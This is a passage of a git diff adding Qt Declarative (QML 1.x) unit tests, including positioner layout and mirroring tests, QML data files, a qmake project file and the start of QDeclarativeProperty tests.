+ QCOMPARE(two->x(), 55.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 5.0);
+ QCOMPARE(three->y(), 0.0);
+ QCOMPARE(four->x(), 75.0);
+ QCOMPARE(four->y(), 50.0);
+ QCOMPARE(five->x(), 65.0);
+ QCOMPARE(five->y(), 50.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_flow_implicit_resize()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/flow-testimplicitsize.qml");
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeFlow *flow = canvas->rootObject()->findChild<QDeclarativeFlow*>("flow");
+ QVERIFY(flow != 0);
+
+ QCOMPARE(flow->width(), 100.0);
+ QCOMPARE(flow->height(), 120.0);
+
+ canvas->rootObject()->setProperty("flowLayout", 0);
+ QCOMPARE(flow->flow(), QDeclarativeFlow::LeftToRight);
+ QCOMPARE(flow->width(), 220.0);
+ QCOMPARE(flow->height(), 50.0);
+
+ canvas->rootObject()->setProperty("flowLayout", 1);
+ QCOMPARE(flow->flow(), QDeclarativeFlow::TopToBottom);
+ QCOMPARE(flow->width(), 100.0);
+ QCOMPARE(flow->height(), 120.0);
+
+ canvas->rootObject()->setProperty("flowLayout", 2);
+ QCOMPARE(flow->layoutDirection(), Qt::RightToLeft);
+ QCOMPARE(flow->width(), 220.0);
+ QCOMPARE(flow->height(), 50.0);
+
+ delete canvas;
+}
+
+QString warningMessage;
+
+void interceptWarnings(QtMsgType type, const char *msg)
+{
+ Q_UNUSED( type );
+ warningMessage = msg;
+}
+
+void tst_QDeclarativePositioners::test_conflictinganchors()
+{
+ QtMsgHandler oldMsgHandler = qInstallMsgHandler(interceptWarnings);
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+
+ component.setData("import QtQuick 1.0\nColumn { Item {} }", QUrl::fromLocalFile(""));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+ QVERIFY(warningMessage.isEmpty());
+
+ component.setData("import QtQuick 1.0\nRow { Item {} }", QUrl::fromLocalFile(""));
+ item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+ QVERIFY(warningMessage.isEmpty());
+
+ component.setData("import QtQuick 1.0\nGrid { Item {} }", QUrl::fromLocalFile(""));
+ item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+ QVERIFY(warningMessage.isEmpty());
+
+ component.setData("import QtQuick 1.0\nFlow { Item {} }", QUrl::fromLocalFile(""));
+ item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+ QVERIFY(warningMessage.isEmpty());
+
+ component.setData("import QtQuick 1.0\nColumn { Item { anchors.top: parent.top } }", QUrl::fromLocalFile(""));
+ item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+ QCOMPARE(warningMessage, QString("file::2:1: QML Column: Cannot specify top, bottom, verticalCenter, fill or centerIn anchors for items inside Column"));
+ warningMessage.clear();
+
+ component.setData("import QtQuick 1.0\nColumn { Item { anchors.centerIn: parent } }", QUrl::fromLocalFile(""));
+ item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+ QCOMPARE(warningMessage, QString("file::2:1: QML Column: Cannot specify top, bottom, verticalCenter, fill or centerIn anchors for items inside Column"));
+ warningMessage.clear();
+
+ component.setData("import QtQuick 1.0\nColumn { Item { anchors.left: parent.left } }", QUrl::fromLocalFile(""));
+ item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+ QVERIFY(warningMessage.isEmpty());
+ warningMessage.clear();
+
+ component.setData("import QtQuick 1.0\nRow { Item { anchors.left: parent.left } }", QUrl::fromLocalFile(""));
+ item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+ QCOMPARE(warningMessage, QString("file::2:1: QML Row: Cannot specify left, right, horizontalCenter, fill or centerIn anchors for items inside Row"));
+ warningMessage.clear();
+
+ component.setData("import QtQuick 1.0\nRow { Item { anchors.fill: parent } }", QUrl::fromLocalFile(""));
+ item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+ QCOMPARE(warningMessage, QString("file::2:1: QML Row: Cannot specify left, right, horizontalCenter, fill or centerIn anchors for items inside Row"));
+ warningMessage.clear();
+
+ component.setData("import QtQuick 1.0\nRow { Item { anchors.top: parent.top } }", QUrl::fromLocalFile(""));
+ item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+ QVERIFY(warningMessage.isEmpty());
+ warningMessage.clear();
+
+ component.setData("import QtQuick 1.0\nGrid { Item { anchors.horizontalCenter: parent.horizontalCenter } }", QUrl::fromLocalFile(""));
+ item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+ QCOMPARE(warningMessage, QString("file::2:1: QML Grid: Cannot specify anchors for items inside Grid"));
+ warningMessage.clear();
+
+ component.setData("import QtQuick 1.0\nGrid { Item { anchors.centerIn: parent } }", QUrl::fromLocalFile(""));
+ item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+ QCOMPARE(warningMessage, QString("file::2:1: QML Grid: Cannot specify anchors for items inside Grid"));
+ warningMessage.clear();
+
+ component.setData("import QtQuick 1.0\nFlow { Item { anchors.verticalCenter: parent.verticalCenter } }", QUrl::fromLocalFile(""));
+ item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+ QCOMPARE(warningMessage, QString("file::2:1: QML Flow: Cannot specify anchors for items inside Flow"));
+
+ component.setData("import QtQuick 1.0\nFlow { Item { anchors.fill: parent } }", QUrl::fromLocalFile(""));
+ item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+ QCOMPARE(warningMessage, QString("file::2:1: QML Flow: Cannot specify anchors for items inside Flow"));
+ qInstallMsgHandler(oldMsgHandler);
+}
+
+void tst_QDeclarativePositioners::test_vertical_qgraphicswidget()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/verticalqgraphicswidget.qml");
+
+ QGraphicsWidget *one = canvas->rootObject()->findChild<QGraphicsWidget*>("one");
+ QVERIFY(one != 0);
+
+ QGraphicsWidget *two = canvas->rootObject()->findChild<QGraphicsWidget*>("two");
+ QVERIFY(two != 0);
+
+ QGraphicsWidget *three = canvas->rootObject()->findChild<QGraphicsWidget*>("three");
+ QVERIFY(three != 0);
+
+ QCOMPARE(one->x(), 0.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 0.0);
+ QCOMPARE(two->y(), 50.0);
+ QCOMPARE(three->x(), 0.0);
+ QCOMPARE(three->y(), 60.0);
+
+ QDeclarativeItem *column = canvas->rootObject()->findChild<QDeclarativeItem*>("column");
+ QVERIFY(column);
+ QCOMPARE(column->height(), 80.0);
+ QCOMPARE(column->width(), 50.0);
+
+ two->resize(QSizeF(two->size().width(), 20.0));
+ QCOMPARE(three->x(), 0.0);
+ QCOMPARE(three->y(), 70.0);
+
+ two->setOpacity(0.0);
+ QCOMPARE(one->x(), 0.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(three->x(), 0.0);
+ QCOMPARE(three->y(), 50.0);
+
+ one->setVisible(false);
+ QCOMPARE(three->x(), 0.0);
+ QCOMPARE(three->y(), 0.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_mirroring()
+{
+ QList<QString> qmlFiles;
+ qmlFiles << "horizontal.qml" << "gridtest.qml" << "flowtest.qml";
+ QList<QString> objectNames;
+ objectNames << "one" << "two" << "three" << "four" << "five";
+
+ foreach(const QString qmlFile, qmlFiles) {
+ QDeclarativeView *canvasA = createView(QString(SRCDIR) + "/data/" + qmlFile);
+ QDeclarativeItem *rootA = qobject_cast<QDeclarativeItem*>(canvasA->rootObject());
+
+ QDeclarativeView *canvasB = createView(QString(SRCDIR) + "/data/" + qmlFile);
+ QDeclarativeItem *rootB = qobject_cast<QDeclarativeItem*>(canvasB->rootObject());
+
+ rootA->setProperty("testRightToLeft", true); // layoutDirection: Qt.RightToLeft
+
+ // LTR != RTL
+ foreach(const QString objectName, objectNames) {
+ // horizontal.qml only has three items
+ if (qmlFile == QString("horizontal.qml") && objectName == QString("four"))
+ break;
+ QDeclarativeItem *itemA = rootA->findChild<QDeclarativeItem*>(objectName);
+ QDeclarativeItem *itemB = rootB->findChild<QDeclarativeItem*>(objectName);
+ QVERIFY(itemA->x() != itemB->x());
+ }
+
+ QDeclarativeItemPrivate* rootPrivateB = QDeclarativeItemPrivate::get(rootB);
+
+ rootPrivateB->effectiveLayoutMirror = true; // LayoutMirroring.enabled: true
+ rootPrivateB->isMirrorImplicit = false;
+ rootPrivateB->inheritMirrorFromItem = true; // LayoutMirroring.childrenInherit: true
+ rootPrivateB->resolveLayoutMirror();
+
+ // RTL == mirror
+ foreach(const QString objectName, objectNames) {
+ // horizontal.qml only has three items
+ if (qmlFile == QString("horizontal.qml") && objectName == QString("four"))
+ break;
+ QDeclarativeItem *itemA = rootA->findChild<QDeclarativeItem*>(objectName);
+ QDeclarativeItem *itemB = rootB->findChild<QDeclarativeItem*>(objectName);
+ QCOMPARE(itemA->x(), itemB->x());
+ }
+
+ rootA->setProperty("testRightToLeft", false); // layoutDirection: Qt.LeftToRight
+ rootB->setProperty("testRightToLeft", true); // layoutDirection: Qt.RightToLeft
+
+ // LTR == RTL + mirror
+ foreach(const QString objectName, objectNames) {
+ // horizontal.qml only has three items
+ if (qmlFile == QString("horizontal.qml") && objectName == QString("four"))
+ break;
+ QDeclarativeItem *itemA = rootA->findChild<QDeclarativeItem*>(objectName);
+ QDeclarativeItem *itemB = rootB->findChild<QDeclarativeItem*>(objectName);
+ QCOMPARE(itemA->x(), itemB->x());
+ }
+ delete canvasA;
+ delete canvasB;
+ }
+}
+
+void tst_QDeclarativePositioners::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; " + code.toUtf8(), QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; " + code.toUtf8(), QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_QDeclarativePositioners::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("Flow.layoutDirection") << "Flow { layoutDirection: Qt.LeftToRight }"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Flow.layoutDirection\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("Row.layoutDirection") << "Row { layoutDirection: Qt.LeftToRight }"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Row.layoutDirection\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("Grid.layoutDirection") << "Grid { layoutDirection: Qt.LeftToRight }"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Grid.layoutDirection\" is not available in QtQuick 1.0.\n";
+}
+
+QDeclarativeView *tst_QDeclarativePositioners::createView(const QString &filename)
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+
+ canvas->setSource(QUrl::fromLocalFile(filename));
+
+ return canvas;
+}
+
+
+QTEST_MAIN(tst_QDeclarativePositioners)
+
+#include "tst_qdeclarativepositioners.moc"
diff --git a/tests/auto/declarative/qdeclarativeproperty/data/TestType.qml b/tests/auto/declarative/qdeclarativeproperty/data/TestType.qml
new file mode 100644
index 00000000..cef86b4f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeproperty/data/TestType.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ property int a: 10
+}
+
diff --git a/tests/auto/declarative/qdeclarativeproperty/data/aliasPropertyBindings.qml b/tests/auto/declarative/qdeclarativeproperty/data/aliasPropertyBindings.qml
new file mode 100644
index 00000000..a253a58d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeproperty/data/aliasPropertyBindings.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.0
+
+Item {
+ id: root
+
+ property real test: 9
+ property real test2: 3
+
+ property real realProperty: test * test + test
+ property alias aliasProperty: root.realProperty
+
+ states: State {
+ name: "switch"
+ PropertyChanges {
+ target: root
+ aliasProperty: 32 * test2
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeproperty/data/readSynthesizedObject.qml b/tests/auto/declarative/qdeclarativeproperty/data/readSynthesizedObject.qml
new file mode 100644
index 00000000..a91d3ed9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeproperty/data/readSynthesizedObject.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+QtObject {
+ property TestType test
+
+ test: TestType {
+ property int b: 19
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeproperty/qdeclarativeproperty.pro b/tests/auto/declarative/qdeclarativeproperty/qdeclarativeproperty.pro
new file mode 100644
index 00000000..17508602
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeproperty/qdeclarativeproperty.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativeproperty.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativeproperty/tst_qdeclarativeproperty.cpp b/tests/auto/declarative/qdeclarativeproperty/tst_qdeclarativeproperty.cpp
new file mode 100644
index 00000000..1f464bfd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeproperty/tst_qdeclarativeproperty.cpp
@@ -0,0 +1,1494 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeproperty.h>
+#include <QtDeclarative/private/qdeclarativeproperty_p.h>
+#include <private/qdeclarativebinding_p.h>
+#include <QtGui/QLineEdit>
+#include <QtCore/qfileinfo.h>
+#include <QtCore/qdir.h>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+inline QUrl TEST_FILE(const QString &filename)
+{
+ QFileInfo fileInfo(__FILE__);
+ return QUrl::fromLocalFile(fileInfo.absoluteDir().filePath(QLatin1String("data/") + filename));
+}
+
+class MyQmlObject : public QObject
+{
+ Q_OBJECT
+public:
+ MyQmlObject() {}
+};
+
+QML_DECLARE_TYPE(MyQmlObject);
+
+class MyAttached : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int foo READ foo WRITE setFoo)
+public:
+ MyAttached(QObject *parent) : QObject(parent), m_foo(13) {}
+
+ int foo() const { return m_foo; }
+ void setFoo(int f) { m_foo = f; }
+
+private:
+ int m_foo;
+};
+
+class MyContainer : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QDeclarativeListProperty<MyQmlObject> children READ children)
+public:
+ MyContainer() {}
+
+ QDeclarativeListProperty<MyQmlObject> children() { return QDeclarativeListProperty<MyQmlObject>(this, m_children); }
+
+ static MyAttached *qmlAttachedProperties(QObject *o) {
+ return new MyAttached(o);
+ }
+
+private:
+ QList<MyQmlObject*> m_children;
+};
+
+QML_DECLARE_TYPE(MyContainer);
+QML_DECLARE_TYPEINFO(MyContainer, QML_HAS_ATTACHED_PROPERTIES)
+
+class tst_qdeclarativeproperty : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativeproperty() {}
+
+private slots:
+ void initTestCase();
+
+ // Constructors
+ void qmlmetaproperty();
+ void qmlmetaproperty_object();
+ void qmlmetaproperty_object_string();
+ void qmlmetaproperty_object_context();
+ void qmlmetaproperty_object_string_context();
+
+ // Methods
+ void name();
+ void read();
+ void write();
+ void reset();
+
+ // Functionality
+ void writeObjectToList();
+ void writeListToList();
+
+ //writeToReadOnly();
+
+ // Bugs
+ void crashOnValueProperty();
+ void aliasPropertyBindings();
+
+ void copy();
+private:
+ QDeclarativeEngine engine;
+};
+
+void tst_qdeclarativeproperty::qmlmetaproperty()
+{
+ QDeclarativeProperty prop;
+
+ QWeakPointer<QDeclarativeBinding> binding(new QDeclarativeBinding(QLatin1String("null"), 0, engine.rootContext()));
+ QVERIFY(binding != 0);
+ QWeakPointer<QDeclarativeExpression> expression(new QDeclarativeExpression());
+ QVERIFY(expression != 0);
+
+ QObject *obj = new QObject;
+
+ QCOMPARE(prop.name(), QString());
+ QCOMPARE(prop.read(), QVariant());
+ QCOMPARE(prop.write(QVariant()), false);
+ QCOMPARE(prop.hasNotifySignal(), false);
+ QCOMPARE(prop.needsNotifySignal(), false);
+ QCOMPARE(prop.connectNotifySignal(0, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, 0), false);
+ QCOMPARE(prop.connectNotifySignal(0, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, -1), false);
+ QVERIFY(prop.method().signature() == 0);
+ QCOMPARE(prop.type(), QDeclarativeProperty::Invalid);
+ QCOMPARE(prop.isProperty(), false);
+ QCOMPARE(prop.isWritable(), false);
+ QCOMPARE(prop.isDesignable(), false);
+ QCOMPARE(prop.isResettable(), false);
+ QCOMPARE(prop.isSignalProperty(), false);
+ QCOMPARE(prop.isValid(), false);
+ QCOMPARE(prop.object(), (QObject *)0);
+ QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory);
+ QCOMPARE(prop.propertyType(), 0);
+ QCOMPARE(prop.propertyTypeName(), (const char *)0);
+ QVERIFY(prop.property().name() == 0);
+ QVERIFY(QDeclarativePropertyPrivate::binding(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setBinding(prop, binding.data()) == 0);
+ QVERIFY(binding == 0);
+ QVERIFY(QDeclarativePropertyPrivate::signalExpression(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setSignalExpression(prop, expression.data()) == 0);
+ QVERIFY(expression == 0);
+ QCOMPARE(prop.index(), -1);
+ QCOMPARE(QDeclarativePropertyPrivate::valueTypeCoreIndex(prop), -1);
+
+ delete obj;
+}
+
+class PropertyObject : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int defaultProperty READ defaultProperty)
+ Q_PROPERTY(QRect rectProperty READ rectProperty)
+ Q_PROPERTY(QRect wrectProperty READ wrectProperty WRITE setWRectProperty)
+ Q_PROPERTY(QUrl url READ url WRITE setUrl)
+ Q_PROPERTY(int resettableProperty READ resettableProperty WRITE setResettableProperty RESET resetProperty)
+ Q_PROPERTY(int propertyWithNotify READ propertyWithNotify WRITE setPropertyWithNotify NOTIFY oddlyNamedNotifySignal)
+ Q_PROPERTY(MyQmlObject *qmlObject READ qmlObject)
+
+ Q_CLASSINFO("DefaultProperty", "defaultProperty")
+public:
+ PropertyObject() : m_resetProperty(9) {}
+
+ int defaultProperty() { return 10; }
+ QRect rectProperty() { return QRect(10, 10, 1, 209); }
+
+ QRect wrectProperty() { return m_rect; }
+ void setWRectProperty(const QRect &r) { m_rect = r; }
+
+ QUrl url() { return m_url; }
+ void setUrl(const QUrl &u) { m_url = u; }
+
+ int resettableProperty() const { return m_resetProperty; }
+ void setResettableProperty(int r) { m_resetProperty = r; }
+ void resetProperty() { m_resetProperty = 9; }
+
+ int propertyWithNotify() const { return m_propertyWithNotify; }
+ void setPropertyWithNotify(int i) { m_propertyWithNotify = i; emit oddlyNamedNotifySignal(); }
+
+ MyQmlObject *qmlObject() { return &m_qmlObject; }
+signals:
+ void clicked();
+ void oddlyNamedNotifySignal();
+
+private:
+ int m_resetProperty;
+ QRect m_rect;
+ QUrl m_url;
+ int m_propertyWithNotify;
+ MyQmlObject m_qmlObject;
+};
+
+QML_DECLARE_TYPE(PropertyObject);
+
+void tst_qdeclarativeproperty::qmlmetaproperty_object()
+{
+ QObject object; // Has no default property
+ PropertyObject dobject; // Has default property
+
+ {
+ QDeclarativeProperty prop(&object);
+
+ QWeakPointer<QDeclarativeBinding> binding(new QDeclarativeBinding(QLatin1String("null"), 0, engine.rootContext()));
+ QVERIFY(binding != 0);
+ QWeakPointer<QDeclarativeExpression> expression(new QDeclarativeExpression());
+ QVERIFY(expression != 0);
+
+ QObject *obj = new QObject;
+
+ QCOMPARE(prop.name(), QString());
+ QCOMPARE(prop.read(), QVariant());
+ QCOMPARE(prop.write(QVariant()), false);
+ QCOMPARE(prop.hasNotifySignal(), false);
+ QCOMPARE(prop.needsNotifySignal(), false);
+ QCOMPARE(prop.connectNotifySignal(0, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, 0), false);
+ QCOMPARE(prop.connectNotifySignal(0, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, -1), false);
+ QVERIFY(prop.method().signature() == 0);
+ QCOMPARE(prop.type(), QDeclarativeProperty::Invalid);
+ QCOMPARE(prop.isProperty(), false);
+ QCOMPARE(prop.isWritable(), false);
+ QCOMPARE(prop.isDesignable(), false);
+ QCOMPARE(prop.isResettable(), false);
+ QCOMPARE(prop.isSignalProperty(), false);
+ QCOMPARE(prop.isValid(), false);
+ QCOMPARE(prop.object(), (QObject *)0);
+ QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory);
+ QCOMPARE(prop.propertyType(), 0);
+ QCOMPARE(prop.propertyTypeName(), (const char *)0);
+ QVERIFY(prop.property().name() == 0);
+ QVERIFY(QDeclarativePropertyPrivate::binding(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setBinding(prop, binding.data()) == 0);
+ QVERIFY(binding == 0);
+ QVERIFY(QDeclarativePropertyPrivate::signalExpression(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setSignalExpression(prop, expression.data()) == 0);
+ QVERIFY(expression == 0);
+ QCOMPARE(prop.index(), -1);
+ QCOMPARE(QDeclarativePropertyPrivate::valueTypeCoreIndex(prop), -1);
+
+ delete obj;
+ }
+
+ {
+ QDeclarativeProperty prop(&dobject);
+
+ QWeakPointer<QDeclarativeBinding> binding(new QDeclarativeBinding(QLatin1String("null"), 0, engine.rootContext()));
+ binding.data()->setTarget(prop);
+ QVERIFY(binding != 0);
+ QWeakPointer<QDeclarativeExpression> expression(new QDeclarativeExpression());
+ QVERIFY(expression != 0);
+
+ QObject *obj = new QObject;
+
+ QCOMPARE(prop.name(), QString("defaultProperty"));
+ QCOMPARE(prop.read(), QVariant(10));
+ QCOMPARE(prop.write(QVariant()), false);
+ QCOMPARE(prop.hasNotifySignal(), false);
+ QCOMPARE(prop.needsNotifySignal(), true);
+ QCOMPARE(prop.connectNotifySignal(0, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, 0), false);
+ QCOMPARE(prop.connectNotifySignal(0, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, -1), false);
+ QVERIFY(prop.method().signature() == 0);
+ QCOMPARE(prop.type(), QDeclarativeProperty::Property);
+ QCOMPARE(prop.isProperty(), true);
+ QCOMPARE(prop.isWritable(), false);
+ QCOMPARE(prop.isDesignable(), true);
+ QCOMPARE(prop.isResettable(), false);
+ QCOMPARE(prop.isSignalProperty(), false);
+ QCOMPARE(prop.isValid(), true);
+ QCOMPARE(prop.object(), qobject_cast<QObject*>(&dobject));
+ QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::Normal);
+ QCOMPARE(prop.propertyType(), (int)QVariant::Int);
+ QCOMPARE(prop.propertyTypeName(), "int");
+ QCOMPARE(QString(prop.property().name()), QString("defaultProperty"));
+ QVERIFY(QDeclarativePropertyPrivate::binding(prop) == 0);
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: Unable to assign null to int");
+ QVERIFY(QDeclarativePropertyPrivate::setBinding(prop, binding.data()) == 0);
+ QVERIFY(binding != 0);
+ QVERIFY(QDeclarativePropertyPrivate::binding(prop) == binding.data());
+ QVERIFY(QDeclarativePropertyPrivate::signalExpression(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setSignalExpression(prop, expression.data()) == 0);
+ QVERIFY(expression == 0);
+ QCOMPARE(prop.index(), dobject.metaObject()->indexOfProperty("defaultProperty"));
+ QCOMPARE(QDeclarativePropertyPrivate::valueTypeCoreIndex(prop), -1);
+
+ delete obj;
+ }
+}
+
+void tst_qdeclarativeproperty::qmlmetaproperty_object_string()
+{
+ QObject object;
+ PropertyObject dobject;
+
+ {
+ QDeclarativeProperty prop(&object, QString("defaultProperty"));
+
+ QWeakPointer<QDeclarativeBinding> binding(new QDeclarativeBinding(QLatin1String("null"), 0, engine.rootContext()));
+ QVERIFY(binding != 0);
+ QWeakPointer<QDeclarativeExpression> expression(new QDeclarativeExpression());
+ QVERIFY(expression != 0);
+
+ QObject *obj = new QObject;
+
+ QCOMPARE(prop.name(), QString());
+ QCOMPARE(prop.read(), QVariant());
+ QCOMPARE(prop.write(QVariant()), false);
+ QCOMPARE(prop.hasNotifySignal(), false);
+ QCOMPARE(prop.needsNotifySignal(), false);
+ QCOMPARE(prop.connectNotifySignal(0, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, 0), false);
+ QCOMPARE(prop.connectNotifySignal(0, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, -1), false);
+ QVERIFY(prop.method().signature() == 0);
+ QCOMPARE(prop.type(), QDeclarativeProperty::Invalid);
+ QCOMPARE(prop.isProperty(), false);
+ QCOMPARE(prop.isWritable(), false);
+ QCOMPARE(prop.isDesignable(), false);
+ QCOMPARE(prop.isResettable(), false);
+ QCOMPARE(prop.isSignalProperty(), false);
+ QCOMPARE(prop.isValid(), false);
+ QCOMPARE(prop.object(), (QObject *)0);
+ QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory);
+ QCOMPARE(prop.propertyType(), 0);
+ QCOMPARE(prop.propertyTypeName(), (const char *)0);
+ QVERIFY(prop.property().name() == 0);
+ QVERIFY(QDeclarativePropertyPrivate::binding(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setBinding(prop, binding.data()) == 0);
+ QVERIFY(binding == 0);
+ QVERIFY(QDeclarativePropertyPrivate::signalExpression(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setSignalExpression(prop, expression.data()) == 0);
+ QVERIFY(expression == 0);
+ QCOMPARE(prop.index(), -1);
+ QCOMPARE(QDeclarativePropertyPrivate::valueTypeCoreIndex(prop), -1);
+
+ delete obj;
+ }
+
+ {
+ QDeclarativeProperty prop(&dobject, QString("defaultProperty"));
+
+ QWeakPointer<QDeclarativeBinding> binding(new QDeclarativeBinding(QLatin1String("null"), 0, engine.rootContext()));
+ binding.data()->setTarget(prop);
+ QVERIFY(binding != 0);
+ QWeakPointer<QDeclarativeExpression> expression(new QDeclarativeExpression());
+ QVERIFY(expression != 0);
+
+ QObject *obj = new QObject;
+
+ QCOMPARE(prop.name(), QString("defaultProperty"));
+ QCOMPARE(prop.read(), QVariant(10));
+ QCOMPARE(prop.write(QVariant()), false);
+ QCOMPARE(prop.hasNotifySignal(), false);
